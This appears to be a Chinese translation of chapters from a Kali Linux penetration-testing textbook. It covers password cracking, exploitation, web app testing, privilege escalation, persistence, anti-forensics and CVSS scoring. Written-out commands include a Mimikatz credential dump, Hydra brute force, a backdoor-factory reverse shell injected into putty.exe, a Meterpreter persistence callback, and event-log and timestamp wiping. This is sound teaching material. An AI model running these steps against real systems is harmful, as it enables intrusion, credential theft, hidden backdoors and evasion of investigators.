Windows 操作系统将密码存储在一个名为安全帐户管理器(SAM)的文件中,使用的哈希算法类型是 LM 或 NTLM。
我们首先利用远程 Windows 系统中的 SMB 漏洞,并使用 Metasploit 获得 Meterpreter 访问,如下图所示。Meterpreter 有一个非常有用的实用程序称为mimikatz
,可以用来从受损系统中转储哈希或甚至纯文本密码。我们使用命令load mimikatz
来启动此工具。然后我们使用命令kerberos
来显示纯文本凭据。我们得知用户shareuser
的密码是admin
。使用msv
命令,我们还可以从受损系统中转储原始哈希。
密码分析
在前一节中,我们已经了解了字典攻击。在与组织的特定参与过程中,我们可能会确定所有密码都使用某种特定模式。因此,我们可能希望有一个与特定模式相匹配的单词列表。密码分析帮助我们生成与特定模式对齐的单词列表。
Kali Linux 有一个名为 crunch 的工具,可以帮助我们使用自定义模式生成单词列表。
crunch 3 5 0123456789abcdefghijklmnopqrstuvwxyz
上述语法将生成一个单词列表,其中单词的最小长度为3
,最大长度为5
,并包含来自字符集0123456789abcedefghijklmnopqrstuvwxyz
的所有可能的排列和组合。有关更多帮助,我们可以使用man crunch
命令参考 crunch 帮助,如下图所示:
使用 Hydra 进行密码破解
Hydra 是默认 Kali Linux 安装的一个非常强大和高效的密码破解工具。Hydra 能够破解各种协议的密码,如 FTP、SSH、HTTP 等。Hydra 可以从终端启动,如下图所示:
hydra -l user -P passlist.txt ftp://192.168.25.129
上述命令将对运行在 IP 地址192.168.25.129
上的 FTP 服务器发起密码破解攻击,并尝试使用单词列表passlist.txt
中的所有密码。
使用后门工厂创建后门
快速查看单词后门的词典含义给我们带来了通过间接或不诚实手段实现。在计算世界中,后门是隐藏的,用于秘密进入系统的东西。例如,如果我们从某个不知名的人那里得到一个普通的可执行文件,我们可能会感到怀疑。但是,如果我们得到一个看起来很真实的安装程序,我们可能会执行它。然而,该安装程序可能有一个隐藏的后门,可能会打开我们的系统给攻击者。
创建后门通常涉及使用我们的 shellcode 对真实的可执行文件进行修补。Kali Linux 有一个特殊的工具backdoor-factory
,可以帮助我们创建后门。backdoor-factory
可以从终端启动,如下图所示:
现在我们执行如下图所示的命令:
root@kali:~# backdoor-factory -f /root/Desktop/putty.exe -s reverse_shell_tcp_inline -H 192.168.25.128 -P 8080
这个命令将打开位于/root/Desktop
的putty.exe
文件,将反向 TCP shell 注入可执行文件,并配置后门连接到 IP 地址192.168.25.128
的端口8080
。
利用 Metasploit 利用远程服务
在我们继续利用远程目标系统上的服务之前,我们必须知道所有服务正在运行的情况以及它们的确切版本是什么。我们可以通过快速进行 Nmap 扫描来列出服务版本信息,如下图所示:
前面的结果显示有许多正在运行的服务,我们可以利用 Metasploit 进行攻击。
利用 vsftpd
通过 Nmap 扫描和枚举,我们得知我们的目标正在运行 FTP 服务器。服务器版本是 vsftpd 2.3.4,活动在端口21
上。我们使用msfconsole
命令打开 Metasploit 框架,然后搜索与 vsftp 匹配的任何漏洞,如下图所示。Metasploit 有一个vsftpd_234_backdoor
漏洞,我们可以用来攻击目标。
我们选择 vsftp 漏洞,并将RHOST
参数设置为目标的 IP 地址。然后我们运行漏洞,如下图所示。漏洞利用成功,并打开了一个命令 shell。使用whoami
命令,我们可以知道我们已经获得了对目标的 root 访问权限。
利用 Tomcat
通过 Nmap 扫描和枚举,我们得知我们的目标正在运行 Apache Tomcat Web 服务器。它在端口8180
上活动。我们可以通过浏览器在端口8180
上击中目标 IP,并查看 Web 服务器的默认页面,如下图所示:
现在我们打开 Metasploit 控制台,并搜索与 Tomcat 服务器匹配的任何漏洞,如下图所示:
我们将使用tomcat_mgr_deploy
漏洞,如下图所示。我们隐式选择java/meterpreter/reverse_tcp
作为漏洞载荷,然后配置其他选项,如 RHOST、LHOST、默认用户名/密码和目标端口。
漏洞利用成功,并给我们一个 Meterpreter 会话。
使用 RouterSploit 黑客嵌入式设备
在前一节中,我们学习了如何有效地使用 Metasploit 来利用远程服务。目标主要是 Windows 和 Linux 操作系统。互联网连接设备的数量正在迅速增加。这些设备具有嵌入式固件,也容易受到攻击。
RouterSploit 是一个命令行工具,可用于攻击嵌入式设备。但它不是默认安装在 Kali Linux 中的一部分。我们可以使用apt-get install routersploit
命令安装 RouterSploit。安装后,可以通过在终端中输入routersploit
来启动它,如下图所示:
RouterSploit 具有与 Metasploit 控制台非常相似的界面。我们可以使用scanners/autopwn
选项快速扫描目标设备,如下图所示。我们只需设置目标 IP 地址并运行扫描程序。
使用 SET 进行社会工程学
在本章的第一节中,我们看到了两种可能的利用场景。攻击者要么直接访问目标系统,要么目标系统在路由器/防火墙后面,攻击者只能达到路由器/防火墙的公共接口。
在第二种情况下,攻击者必须向受害者发送某种有效载荷,并诱使他执行有效载荷。一旦执行,它将建立一个反向连接返回给攻击者。这是一种隐秘的技术,涉及社会工程的使用。
Kali Linux 提供了一个执行各种社会工程攻击的优秀框架。社会工程工具包可以在“应用程序|利用工具|SET”中访问。
SET 的初始屏幕显示了与社会工程攻击相关的各种选项,如下图所示:
我们选择选项1)社会工程攻击
,然后会出现一系列攻击,如下图所示:
SET 会自动启动 Metasploit 并开始监听。一旦我们的受害者下载并执行有效载荷,一个 Meterpreter 会话就会打开,如下图所示:
我们选择选项4)创建有效载荷和监听器
,然后选择有效载荷Windows Shell Reverse_TCP
。然后我们设置监听器的 IP 地址和端口,如下图所示:
总结
在本章中,我们介绍了各种工具和技术,用于获取对目标系统的访问权限,包括破解密码、创建后门、利用服务和发动社会工程攻击。
第十五章:评估网络应用安全
本章是关于学习网络应用安全的各个方面。我们将学习从安全角度评估网络应用的技能,并使用自动化和手动技术揭示潜在的缺陷。
我们将在本章中涵盖以下主题:
-
网络应用安全测试的重要性
-
应用程序配置文件
-
常见的网络应用安全测试工具
-
认证
-
授权
-
会话管理
-
输入验证
-
安全配置错误
-
业务逻辑缺陷
-
审计和日志记录
-
密码学
-
测试工具
网络应用安全测试的重要性
很久以前,组织通常部署和使用厚客户端。然而,现在,随着我们更多地向移动性和便捷访问转变,薄客户端(网络应用程序)需求量很高。一旦托管,同一个网络应用程序可以通过多个端点访问,如 PC、智能手机、平板电脑等。但这肯定增加了风险因素。即使网络应用程序中存在一个漏洞,也可能对整个组织产生毁灭性影响。此外,随着网络和基础设施安全的发展,网络应用程序成为入侵者获取组织内部访问权限的易目标。网络应用安全测试远不止是运行自动化扫描程序来发现漏洞。自动化扫描程序不会考虑程序方面,并且也会报告许多误报。
应用程序配置文件
企业组织可能拥有大量为服务各种业务目的而设计和构建的应用程序。这些应用程序可能是小型的或复杂的,并且可能使用各种技术构建。现在,当需要设计和实施企业范围的应用程序安全程序时,决定评估的优先级就变得非常关键。可能总共有 100 个应用程序;然而,由于资源有限,可能无法在特定时间内测试所有 100 个应用程序。这就是应用程序配置文件派上用场的时候。
应用程序配置文件包括将应用程序分类为高、中和低等不同关键性组别。一旦分类,就可以根据应用程序所属的组别决定评估优先级。帮助分类应用程序的一些因素如下:
-
应用程序的类型是什么(厚客户端还是薄客户端还是移动应用)。
-
访问方式是什么(互联网/内联网)。
-
应用程序的用户是谁?
-
使用该应用程序的用户数量大约是多少?
-
应用程序是否包含任何业务敏感信息?
-
应用程序是否包含任何个人可识别信息(PII)?
-
应用程序是否包含任何非公开信息(NPI)?
-
是否有与应用程序相关的任何监管要求?
-
应用程序用户在应用程序不可用的情况下可以维持多长时间?
前述问题的答案可以帮助分类应用程序。应用程序分类也可以帮助有效评分漏洞。
常见的网络应用安全测试工具
进行网络应用安全测试有大量可用的工具。其中一些是免费/开源的,而另一些是商业可用的。以下表格列出了一些基本工具,可以有效地用于进行网络应用安全测试。这些工具中的大多数都是 Kali Linux 默认安装的一部分:
测试 | 所需工具 |
---|---|
信息收集 | Nikto,网页开发者插件,Wappalyzer |
认证 | ZAP,Burp Suite |
授权 | ZAP,Burp Suite |
会话管理 | Burp Suite 网页开发者插件,OWASP CSRFTester,WebScarab |
输入验证 | XSSMe,SQLMe,Paros,IBM AppScan,SQLMap,Burp Suite |
配置错误 | Nikto |
业务逻辑 | 使用 ZAP 或 Burp Suite 进行手动测试 |
审计和日志记录 | 手动评估 |
Web 服务 | WSDigger,IBM AppScan Web 服务扫描仪 |
加密 | 哈希标识符,弱密码测试器 |
身份验证
身份验证是建立或确认某事(或某人)的真实性或真实性的行为。身份验证取决于一个或多个身份验证因素。测试身份验证模式意味着理解和可视化身份验证工作的整个过程,并利用这些信息来发现身份验证机制实施中的漏洞。破坏身份验证系统会使攻击者直接进入应用程序,使其进一步暴露于各种攻击。
接下来的部分描述了一些重要的身份验证测试。
通过安全通道的凭据
这确实是一个非常基本的检查。应用程序必须严格通过安全的 HTTPS 协议传输用户凭据和所有敏感数据。如果应用程序使用 HTTP 传输用户凭据和数据,那么它容易受到窃听。我们可以通过检查 URL 栏来快速检查网站是否使用 HTTP 或 HTTPS,如下面的截图所示:
此外,我们还可以检查证书详细信息以确保 HTTPS 实施,如下图所示:
身份验证错误消息
在应用程序登录页面上经常出现身份验证失败会显示不必要的信息。例如,用户输入错误的用户名和密码,然后应用程序抛出一个错误,说找不到用户名。这会显示给攻击者给定的用户是否属于应用程序。攻击者可以简单地编写一个脚本来检查 1,000 个用户的有效性。这种攻击称为用户枚举。因此建议身份验证失败消息应该是通用的,不应该透露用户名/密码是否错误。例如用户名/密码错误这样的通用消息并不能证明用户名是否属于应用程序。
密码策略
密码策略是与身份验证相关的一个微不足道的安全控制。密码通常容易受到字典攻击、暴力攻击和猜测密码攻击。如果应用程序允许设置弱密码,那么它们很容易被破坏。强密码策略通常具有以下条件:
-
最小长度为 8
-
必须至少包含 1 个小写字符、1 个大写字符、1 个数字和 1 个特殊字符。
-
密码最小年龄
-
密码最大年龄
-
密码历史限制
-
帐户锁定
重要的是要注意密码策略必须在客户端和服务器端都执行。
提交凭据的方法
GET 和 POST 是用于通过 HTTP/HTTPS 协议提交用户数据的两种方法。安全应用程序总是使用 POST 方法传输用户凭据和敏感用户数据。如果使用 GET 方法,则凭据/数据将成为公开可见的 URL 的一部分,并且很容易受到攻击。
以下图像显示了典型的登录请求和响应,并突出了 POST 方法的使用:
OWASP 映射
身份验证相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括在 A2:2017 Broken Authentication 下。在这个类别下列出的一些漏洞如下:
-
应用程序允许自动攻击,如凭据填充
-
应用程序允许暴力攻击
-
应用程序允许用户设置默认、弱或知名密码
-
应用程序具有弱密码恢复过程
授权
一旦用户被验证,下一个任务就是授权用户以允许他/她访问数据。根据用户角色和权限,应用程序授予授权。要测试授权漏洞,我们需要来自应用程序中不同角色的有效凭据。使用一些初步工具,我们可以尝试绕过授权模式并使用普通用户的凭据访问超级用户帐户。
OWASP 映射
授权相关的漏洞是 OWASP 2017 年十大漏洞之一。它们包含在 A5:2017 破坏访问控制下。此类别下列出的一些漏洞如下:
-
通过篡改 URL 绕过访问控制检查
-
允许将主键更改为另一个用户的记录,并允许查看或编辑其他人的帐户
-
提升权限
会话管理
会话管理是任何基于 Web 的应用程序的核心。它定义了应用程序如何维护状态,从而控制用户与站点的交互。会话在用户最初连接到站点时启动,并且预期在用户断开连接时结束。由于 HTTP 是一种无状态协议,会话需要由应用程序显式处理。通常使用唯一标识符,如会话 ID 或 cookie 来跟踪用户会话。
Cookie 检查
由于 cookie 是存储用户会话信息的重要对象,因此必须进行安全配置。下图显示了一个带有其属性的示例 cookie:
在上图中,最后三个参数从安全的角度来看是重要的。Expires 参数设置为 At end of session,这意味着 cookie 不是持久的,一旦用户注销就会被销毁。Secure 标志设置为 No,这是一个风险。站点应该实现 HTTPS,然后启用 Secure cookie 标志。HTTPOnly 标志设置为 Yes,这可以防止其他站点未经授权地访问 cookie。
跨站请求伪造
跨站请求伪造是针对 Web 应用程序的常见攻击,通常是由于弱会话管理而发生。在 CSRF 攻击中,攻击者向受害者发送一个特制的链接。当受害者点击攻击者发送的链接时,它会触发易受攻击的应用程序中的一些恶意操作。反 CSRF 或 CAPTCHA 是一些常见的防御措施。OWASP 有一个特殊的工具来测试应用程序是否容易受到 CSRF 攻击。它可以在www.owasp.org/index.php/File:CSRFTester-1.0.zip
找到。
OWASP CSRF 测试工具捕获应用程序请求,然后生成 CSRF 概念验证,如下图所示:
OWASP 映射
会话管理相关的漏洞是 OWASP 2017 年十大漏洞之一。它们包含在 A2:2017 破坏身份验证下。此类别下列出的一些漏洞如下:
-
生成的会话 ID 不是唯一的、随机的、复杂的,容易被猜测
-
应用程序在 URL 或审计日志文件的一部分中暴露会话标识符
-
应用程序容易受到重放攻击
-
应用程序容易受到跨站请求伪造攻击
输入验证
不正确的输入验证是大多数 Web 应用程序中最常见和固有的缺陷之一。
这种弱点进一步导致 Web 应用程序中许多关键漏洞,如跨站脚本、SQL 注入、缓冲区溢出等。
大多数情况下,当应用程序被开发时,它会盲目接受所有传入的数据。然而从安全的角度来看,这是一种有害的做法,因为由于缺乏适当的验证,恶意数据也可能进入。
OWASP 映射
输入验证相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A1:2017 注入,A4:2017-XML 外部实体(XXE),A7:2017-跨站脚本(XSS)和 A8:2017-不安全反序列化。此类别下列出的一些漏洞如下:
-
应用程序未在客户端和服务器端验证输入。
-
应用程序允许有害的黑名单字符(<>;’”!())。
-
应用程序容易受到注入漏洞的攻击,如 SQL 注入、命令注入、LDAP(轻量级目录访问协议)注入等。
-
应用程序容易受到跨站脚本攻击。下图显示了反射型跨站脚本攻击:
- 应用程序容易受到缓冲区溢出的攻击。
安全配置错误
我们可能会花费大量精力来保护应用程序。然而,应用程序不能孤立运行。运行应用程序需要大量的支持组件,如 Web 服务器、数据库服务器等。如果应用程序与所有这些支持组件没有安全配置,将为潜在攻击者打开许多漏洞。因此,应用程序不仅应该安全地开发,还应该安全地部署和配置。
OWASP 映射
安全配置相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A6:2017 安全配置错误。此类别下列出的一些漏洞如下:
-
应用程序堆栈上未进行安全加固。
-
启用或安装不必要或不需要的功能(例如端口、服务、管理页面、帐户或权限)。下图显示了默认的 Tomcat 页面,所有用户都可以访问:
-
应用程序默认帐户处于活动状态,并使用默认密码。
-
不当的错误处理会显示堆栈跟踪和内部应用程序信息,如下图所示:
-
应用程序服务器、应用程序框架(例如 Struts、Spring、ASP.NET)、库、数据库等未进行安全配置。
-
应用程序允许目录列表,如下图所示:
Nikto 是一个优秀的工具,用于扫描安全配置问题,如下图所示:
业务逻辑缺陷
业务逻辑是应用程序的核心,决定应用程序的预期行为。业务逻辑主要源自应用程序的目标/目的,并主要包含在应用程序的服务器端代码中。如果业务逻辑存在缺陷或不足,攻击者可能会严重滥用。自动化安全扫描工具实际上无法找到与业务逻辑相关的问题,因为它们无法像人类那样理解应用程序的上下文。因此,除了严格的验证外,还绝对需要无懈可击的业务逻辑,以构建安全的 Web 应用程序。
测试业务逻辑缺陷
如前所述,无法使用自动化工具全面测试与业务逻辑相关的缺陷。以下是一些测试业务逻辑的指导方针:
-
与应用程序架构师、应用程序的业务用户和开发人员进行头脑风暴会议,了解应用程序的全部内容
-
了解应用程序中的所有工作流程
-
记录应用程序可能出错并产生较大影响的关键领域
-
创建样本/原始数据,并尝试从普通用户和攻击者的角度探索应用程序
-
制定攻击方案和逻辑测试,以测试特定业务逻辑
-
创建全面的威胁模型
业务逻辑缺陷示例
考虑一个电子商务网站,销售电视机顶盒充值券。它连接到外部支付网关。现在用户在电子商务网站上选择充值金额,然后电子商务网站将用户转到支付网关进行付款。如果付款成功,支付网关将向电子商务网站返回一个成功标志,然后电子商务网站将在系统中实际发起用户请求的充值。现在假设攻击者选择购买价值 X 美元的充值,并前往支付网关,但在返回电子商务网站时,他篡改了 HTTP 请求,并将金额设置为 X+10 美元。在这种情况下,电子商务网站可能会接受该请求,认为用户实际支付了 X+10 美元而不是 X 美元。这是一个简单的业务逻辑缺陷,由于电子商务网站和支付网关之间的不正确同步而发生。两者之间的简单校验和机制可以防止这样的缺陷。
审计和日志记录
检查应用程序审计日志的完整性是应用程序安全评估中最重要的程序方面之一。审计日志被归类为侦探控制,在安全事件发生时非常有用。企业应用程序通常具有复杂的性质,并与其他系统(如数据库服务器、负载均衡器、缓存服务器等)相互连接。在发生违规行为时,审计日志在重建事件场景中起着最重要的作用。缺乏详细信息的审计日志将极大地限制事件调查。因此,必须仔细检查应用程序生成事件日志的能力,以找出任何适用的缺陷。
OWASP 映射
审计和日志记录相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A10:2017 不足的日志记录和监控。此类别下列出的一些漏洞如下:
-
应用程序未记录登录、登录失败和高价值交易等事件
-
应用程序生成警告和错误,这是不足的
-
应用程序和 API 日志未定期监控可疑活动
-
未定义应用程序日志的备份策略
-
应用程序无法实时或几乎实时地检测、升级或警报活动攻击
密码学
我们知道,加密有助于保持数据的机密性;它在 Web 应用程序安全中也扮演着重要的角色。在构建安全的 Web 应用程序时,必须同时考虑数据在静态状态下的加密和数据在传输中的加密。
OWASP 映射
与加密相关的漏洞是 OWASP Top 10 2017 的一部分。它们包括 A3:2017 敏感数据暴露。此类别下列出的一些漏洞如下:
-
以明文传输数据的应用程序。这涉及到诸如 HTTP、SMTP 和 FTP 等协议。
-
应用程序使用旧的或弱加密算法。
-
应用程序使用默认加密密钥。
-
应用程序未强制加密。
-
应用程序在存储时未加密用户敏感信息。
-
应用程序使用无效的 SSL 证书。
Qualys 提供了一个出色的在线工具,用于测试 SSL 证书。以下图片显示了 Qualys SSL 测试的样本结果,可以在www.ssllabs.com/ssltest/
上访问:
网站的一些其他结果:
测试工具
在本章的前面,我们已经看到了一系列可以用于进行 Web 应用程序安全测试的各种工具。在本节中,我们将简要介绍其中两种工具。
OWASP ZAP
OWASP ZAP 是一个多功能工具,可以执行与应用程序安全测试相关的一系列任务。它也能够进行自动化扫描,并且在手动测试和模糊测试方面非常有效。OWASP ZAP 可以从www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
下载。
以下图片显示了初始的 OWASP ZAP 控制台。左窗格显示站点层次结构,右窗格显示单独的请求和响应,底窗格显示主动扫描:
我们可以首先爬取应用程序,也可以直接输入要攻击的 URL,如下图所示。我们可以在底部窗格中看到主动扫描,一旦完成,我们可以简单地点击“报告”菜单,然后选择生成 HTML 报告。
Burp Suite
BurpSuite 是一个非常灵活和强大的工具,用于进行 Web 应用程序安全测试。它可以免费下载,也有商业版本。Burp Suite 可以从portswigger.net/burp/communitydownload
下载。
以下图片显示了初始的 Burp Suite 控制台:
BurpSuite 具有以下各种功能:
-
代理:它充当拦截代理,并允许编辑所有应用程序请求。
-
蜘蛛:它会自动爬取应用程序范围内的内容,并为进一步测试创建应用程序层次结构。
-
扫描器:它在目标应用程序上运行预定义的安全测试,并生成漏洞报告。此功能仅在商业版本中可用。
-
入侵者:这个功能可以有效地用于模糊应用程序中的各种输入字段。
-
重复器:这可以用于多次发送特定请求并分析响应。
-
解码器:这可以用于解码各种格式的内容,如 Base64 等。
-
扩展器:这可以用于向 Burp Suite 添加额外的扩展。
总结
在本章中,我们学习了 Web 应用程序安全的各个方面,将它们与 Burp Suite OWASP 十大进行了映射,并简要介绍了可以用于进行 Web 应用程序安全测试的各种工具。
第十六章:权限升级
在上一章中,我们学习了有关 Web 应用程序安全的各个方面。在本章中,我们将讨论与权限升级相关的各种概念。我们将熟悉各种权限升级概念,以及在受损的 Windows 和 Linux 系统上提升权限的实际技术。
我们将在本章中涵盖以下主题:
-
定义权限升级
-
水平与垂直权限升级
-
Windows 上的权限升级
-
Linux 上的权限升级
什么是权限升级?
在我们深入讨论权限升级的任何技术细节之前,让我们首先对权限有一些基本的了解。单词privilege的字面字典意思是特权、优势或豁免,只授予或仅对特定人或团体可用。在计算世界中,权限是由操作系统管理的。在单个系统上可能有十个用户,但并非所有用户都具有相同级别的权限。根据安全最佳实践,通常遵循最小权限原则。这意味着每个用户只被分配绝对必要的最低权限来执行其任务。这个原则有助于消除滥用不必要的过多权限的可能性。
在安全评估的背景下,权限升级变得非常重要。假设您成功地利用了远程系统中的漏洞并获得了 SSH 访问权限。但是,由于您已经妥协的用户权限有限,您的操作受到了限制。现在,您肯定希望拥有最高级别的权限,以便您可以探索受损系统的各个方面。权限升级将普通用户的权限提升到具有最高权限的用户。完成后,您将完全控制受损的系统。
要了解权限如何工作的一些基础知识,以下图表显示了各种保护环:
这张图表显示了四个环:
-
环 0:属于操作系统的内核,具有最高的权限。
-
环 1 和环 2:主要由设备驱动程序使用,它们在操作系统和各种硬件设备之间进行接口。这些环具有很好的权限,但低于环 0。
-
环 3:大多数我们的最终应用程序运行的地方。它们拥有最低的权限。
因此,在权限升级的情况下,如果您想利用应用程序漏洞并访问环 3,那么您需要找到一种方法将权限提升到更高的环。在 Windows 环境中,具有最高权限的用户通常被称为管理员,而在 Linux 环境中,具有最高权限的用户被称为root。
水平与垂直权限升级
正如我们在前一节中看到的,权限升级意味着获得未经授权的权限。权限升级可以是水平或垂直的两种类型之一。
水平权限升级
参考前面的图表;总共有四个用户:三个普通用户和一个管理员。用户按照其层次显示。现在,如果普通用户 1能够访问普通用户 2的数据,这将被称为水平权限升级,因为两个用户在层次结构中处于相同的级别。
垂直权限升级
关于前面的图表,如果普通用户 1能够访问数据并获得管理员的权限,这将被称为垂直权限升级。普通用户 1和管理员在层次结构中处于不同的级别。
Windows 上的权限升级
正如我们在前一节中看到的,在 Windows 系统上,拥有最高特权的用户被称为管理员。一旦我们使用任何可用的利用程序来入侵系统,我们的目标应该是将用户特权提升到管理员级别。
下面的截图显示了对 Windows XP 目标利用ms08_067_netapi
漏洞的过程。Metasploit 成功利用了漏洞,并提供了一个 meterpreter 会话,如下面的截图所示:
Meterpreter 为我们提供了提升特权的能力。getsystem
命令专门用于提升已受损的 Windows 系统的特权。下面的截图显示了使用getsystem
命令以获取目标系统上管理员级别特权的过程:
在 Linux 上的特权升级
在本节中,我们将看到如何利用 Linux 系统中的漏洞,然后提升我们的特权。我们将使用 Metasploitable 2 作为我们的目标。
在我们甚至考虑提升特权之前,我们必须至少具有对目标系统的普通级别访问权限。在这种情况下,我们的目标系统的 IP 地址是192.168.25.129
。我们首先启动 SPARTA,以快速收集有关我们目标的一些信息。我们将目标 IP 添加到 SPARTA 扫描的范围内,如下面的截图所示:
一旦 SPARTA 扫描完成,我们就可以知道目标系统上运行着哪些服务。现在我们发现目标系统正在运行一个名为distccd
的服务(如下面的截图所示),这是一个用于源代码编译的分布式计算应用程序:
现在我们知道要利用的服务,我们将打开 Metasploit 控制台,查找与distcc
相关的任何利用程序。
我们得到一个名为distcc_exec
的利用程序,在 Metasploit 中已经准备好。现在我们使用show options
命令查找需要配置的参数。然后我们设置RHOST
(目标)参数的值,并执行exploit
命令:
利用成功,并为我们提供了一个远程命令 shell。但是,该 shell 的特权有限,现在我们需要提升特权到 root。使用uname
命令,我们得知目标基于 Linux 内核 2.6.X。因此,我们需要找出适合该内核版本的特权提升利用程序。我们可以使用searchsploit
实用程序搜索特定的利用程序。以下命令将列出我们需要的利用程序:
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6 | grep 8572
现在我们可以在目标系统上使用wget
命令下载利用程序,如下面的截图所示。下载后,我们使用以下命令在本地编译利用程序:
gcc -o exploit 8572.c
在我们的 Kali Linux 系统上,我们使用以下命令在端口12345
上启动 Netcat 监听器:
nc -lvp 12345
一旦在目标系统上执行了利用程序,我们就会在 Kali 系统上获得一个具有 root 权限的反向 shell,如下面的截图所示。因此,我们已成功将权限从普通用户提升为 root:
总结
在本章中,我们了解了特权在各种平台(如 Windows 和 Linux)上的重要性,以及在渗透测试期间提升特权的相关性。
第十七章:维持访问和清除痕迹
在上一章中,我们学习了特权升级概念以及实际的升级技术。
在本章中,我们将学习如何在被妥协的系统上保持访问并使用反取证技术清除痕迹。我们将学习如何在被妥协的系统上建立持久后门,并使用 Metasploit 的反取证能力来清除渗透痕迹。
在本章中,我们将涵盖以下主题:
-
维持访问
-
清除痕迹和路径
-
反取证
维持访问
到目前为止,在本书中,我们已经看到了渗透测试的各个阶段。所有这些阶段都需要大量的时间和精力。假设你正在对一个目标进行渗透测试,并且已经努力通过 Metasploit 获得了远程系统访问。你希望在任务继续进行的几天内保持这种辛苦获得的访问。然而,在这段时间内,被妥协的系统是否会重新启动并没有保证。如果重新启动,你的访问将会丢失,你可能需要再次努力获得相同的访问权限。这正是我们希望在被妥协的系统中保持或持续访问的确切场景。
Metasploit 提供了一些出色的内置机制,可以帮助我们保持对被妥协系统的持久访问。第一步将是利用针对易受攻击的目标系统的合适漏洞,并获得 Meterpreter 访问,如下截图所示:
一旦利用成功,我们就可以获得对远程系统的 Meterpreter 访问。Metasploit 中的 Meterpreter 提供了一个名为persistence
的实用程序,它可以帮助我们在受损系统上安装一个永久后门。我们可以使用run persistence -h
命令了解更多关于persistence
实用程序的信息:
现在我们执行persistence
命令:
meterpreter >run persistence –A –L c:\\ -X 60 –p 443 –r 192.168.25.130
这个命令将执行persistence
脚本并启动一个匹配的处理程序(-A
),将 Meterpreter 放在目标系统的c:\\
位置(-L c:\\
),系统启动时自动启动监听器(-X
),每 60 秒检查一次连接(60
),在端口443
上连接(-p 443
),并在 IP 地址192.168.25.130
上回连到我们。
persistence
脚本的执行输出如下:
现在persistence
脚本已成功安装在目标系统上,我们不需要担心重新启动。即使目标系统重新启动,无论是故意还是意外,persistence
脚本都会自动重新连接到我们,再次给我们 Meterpreter 访问权限。
清除痕迹和路径
渗透测试由一系列复杂的任务对目标系统执行而成。执行这些任务会以多种方式影响目标系统。多个配置文件可能会被修改,许多审计记录可能会被记录在日志文件中,对于 Windows 系统,注册表可能会发生变化。所有这些变化可能帮助调查人员或蓝队成员追溯攻击向量。
完成渗透测试后,清除所有在妥协过程中使用的残留文件是很好的。但是,这需要与蓝队达成一致。清除所有痕迹的另一个目的可能是测试组织的事后响应方法。然而,现实世界的攻击者可能会简单地利用这一点来掩盖他们的痕迹并保持不被发现。
Metasploit 具有一些帮助清除痕迹的能力。首先,我们需要利用一个漏洞并给予 Meterpreter 对目标的访问:
以下截图显示了我们目标系统上的应用程序事件日志:
以下截图显示了我们目标系统上的System
事件日志:
现在我们已经给予 Meterpreter 对目标系统的访问权限,我们将使用getsystem
命令将权限提升到管理员级别。Meterpreter 有一个名为clearev
的实用程序,用于擦除目标系统上的审计记录。当我们执行clearev
时,目标上的所有审计记录都被擦除:
以下截图显示,由于clearev
擦除了应用程序事件日志,因此没有应用程序事件日志:
以下截图显示,由于clearev
擦除了系统事件日志,因此没有系统事件日志:
同样,在具有 Linux 操作系统的目标上,我们可以做一些事情来清除我们的痕迹。Linux 终端维护命令历史记录,可以使用history
命令查看:
在 Linux 系统(基于 Debian 的系统)中,负责控制命令历史记录的参数是$HISTSIZE
。如果我们能够将其值设置为0
,就不会存储任何命令历史记录:
反取证
在前一节中,我们看到渗透测试任务留下了多个痕迹。事后取证调查可以揭示有关妥协发生方式的许多信息。进行取证分析时的一个重要因素是时间戳。文件时间戳有助于重建可能发生的一系列活动。
Metasploit 提供了能够有效用于覆盖时间戳值并误导取证调查的功能。
首先,我们利用漏洞针对目标使用 Meterpreter 访问。然后我们使用timestomp <filename> -v
命令列出与文件相关的各种时间戳:
现在,我们可以尝试使用timestamp <filename> -b
命令擦除文件的时间戳。此命令将清除与目标文件相关的所有时间戳:
总结
在本章中,我们学习了各种技术来持久访问受损目标。我们还学习了清除受损系统痕迹的各种方法,以及 Metasploit 框架的一些反取证能力。
在下一章中,我们将学习正确漏洞评分的重要性。
第十八章:漏洞评分
本章是关于理解正确漏洞评分的重要性。我们将了解标准漏洞评分的需求,并获得使用通用漏洞评分系统(CVSS)对漏洞进行评分的实际知识。
本章将涵盖以下主题:
-
漏洞评分的要求
-
使用 CVSS 进行漏洞评分
-
CVSS 计算器
漏洞评分的要求
拿任何现代网络进行漏洞扫描。你会感到不知所措,并发现大量的漏洞。现在,如果你继续对网络进行扫描,比如每月一次,那么你的漏洞清单将迅速增长。如果将所有这些漏洞如实呈现给高级管理人员,那将毫无帮助。高级管理人员更感兴趣的是一些具体的、可操作的信息。
典型的漏洞扫描器可能会在特定系统中发现 100 个漏洞。在 100 个漏洞中,可能有 30 个是误报,25 个是信息性的,25 个是低严重性的,15 个是中等严重性的,5 个是高严重性的漏洞。自然而然地,在 100 个报告的漏洞中,5 个高严重性的漏洞应该作为优先处理。其余的可以根据资源的可用性稍后处理。
因此,除非漏洞得分,否则无法为其分配严重性评级,因此也无法为其进行优先修复。高级管理人员也会对组织内的最高严重性漏洞感兴趣。因此,对漏洞进行评分将有助于获得高级管理人员在项目可见性和资源管理方面的正确关注和支持。如果不进行评分,将无法对漏洞进行优先处理和关闭。
使用 CVSS 进行漏洞评分
漏洞评分确实是一个非常主观的问题。它取决于上下文和评分漏洞的人的专业知识。因此,在没有任何标准系统的情况下,对同一个漏洞进行评分可能会因人而异。
CVSS 是一个用于评分漏洞的标准系统。在得出最终评分之前,它考虑了几个不同的参数。使用 CVSS 具有以下好处:
-
它提供了标准化和一致的漏洞评分
-
它提供了一个开放的漏洞评分框架,使得评分的个体特征透明化
-
CVSS 有助于风险优先级排序
为了简化目的,CVSS 指标被分类为各种组,如下图所示:
我们将在接下来的章节中简要介绍每个指标类别。
基本指标组
基本指标组定义了给定漏洞的一些固定特征,这些特征随时间和用户环境保持不变。基本指标组被分类为两个子组,如下一节所讨论的。
可利用性指标
正如前面提到的,可利用性指标反映了易受攻击的事物的特性,我们正式称之为易受攻击组件。因此,这里列出的每个可利用性指标都应该相对于易受攻击组件进行评分,并反映导致成功攻击的漏洞的属性。
攻击向量
